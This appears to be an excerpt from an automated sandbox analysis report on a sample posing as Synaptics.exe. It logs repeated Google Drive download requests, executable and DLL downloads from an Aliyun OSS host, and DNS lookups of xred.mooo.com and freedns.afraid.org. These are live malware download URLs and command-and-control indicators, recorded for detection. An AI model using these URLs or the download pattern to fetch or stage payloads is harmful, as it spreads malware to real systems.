Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /270/1.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/2.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/3.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/4.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/wic.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bruplong.oss-accelerate.aliyuncs.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /270/cbas.exe HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /270/msslac.dll HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /270/cbas.lnk HTTP/1.1User-Agent: Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+LinLauncher)Host: bruplong.oss-accelerate.aliyuncs.com

Source: Synaptics.exe, 00000005.00000003.1638397293.0000000005422000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: *.app-measurement-cn.comgvt1-cn.com*.gvt1-cn.comoggvt2-cn.com*.gvt2-cn.com2mdn-cn.net*.2mdn-cn.netphgoogleflights-cn.netrch*.googleflights-cn.netadmob-cn.comout*.admob-cn.combgooglesandbox-cn.com.co*.googlesandbox-cn.com*.safenup.googlesandbox-cn.comb*.gstatic.com*.metric.gstatic.comtub*.gvt1.com*.gcpcdn.gvt1.comdr*.gvt2.com.*.gcp.gvt2.comn*.url.google.com.ch*.youtube-nocookie.como*.ytimg.comandroid.com*.android.com*.flash.android.comg.cn*.g.cng.co*.g.cogoo.glwww.goo.glgoogle-analytics.com*.google-analytics.comgoogle.comgooglecommerce.com*.googlecommerce.comggpht.cn*.ggpht.cnurchin.com*.urchin.comyoutu.beyoutube.com*.youtube.commusic.youtube.com*.music.youtube.comyoutubeeducation.com*.youtubeeducation.comyoutubekids.com*.youtubekids.comyt.be*.yt.beandroid.clients.google.com*.android.google.cn*.chrome.google.cn*.developers.google.cn8 equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: bruplong.oss-accelerate.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7c1RIQ65_IbRBei-bYkWLCvfPL5A8HRJn4fjEY57eeZLiclcp0AinPPtIuN704sk3FgvBI7_sContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:13 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-l26SbvqrjGi9P_V-sEIf0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=hX1JTupK5fPJskvkmIz1OSlRtO6lhHgnnXEUeMqPDonoLVhOrk7uB3wsVomjBzgmiA8iqd-Edc0-NccUcRD9DlrLXGcX_05DENZi06xa5OpWgStbdxVCVRThgtY8X8vsjG2QgBG0Md2wUl9GmCAs7yivJdSROg7WkDtEWmf2wN2TyOXJSTjimoyp; expires=Fri, 04-Jul-2025 19:20:13 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5ZpfNS5ljRJVoZsX7wyXoulkwLm1IwqrM5ZNZABPzz0QBkMXlArlrqwfEHxSK8WXRzContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:13 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ba_RpaOdxnNaiwyeLLDLOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc; expires=Fri, 04-Jul-2025 19:20:13 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC48eJJMlhln94H0s4mfzr4aStm1M-Q-q5zu9xx2JC6eFyW9S42TEzWsSwHIicGADPEB0P7VyZUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:14 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Vwyb4vFNY1QTr6vt2lllgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC; expires=Fri, 04-Jul-2025 19:20:14 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4QOgKIxSpVIzyxG6XBNgbkgtmBdCCQrJrdhdJ-NZyOifeDOv4phz4mH8PD3Uv1CbNGDYyMKXkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:14 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-7UH8MD56Lw_sNI6DR7szKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6uOBySCcCYwy5lh4g3zaqO8RcXt202P6YOKRxEa1qKppKoJgK-Y4cTvr3EszUaDrpoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:20:18 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-PgFCfevu7MAFAEvSxBVjug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
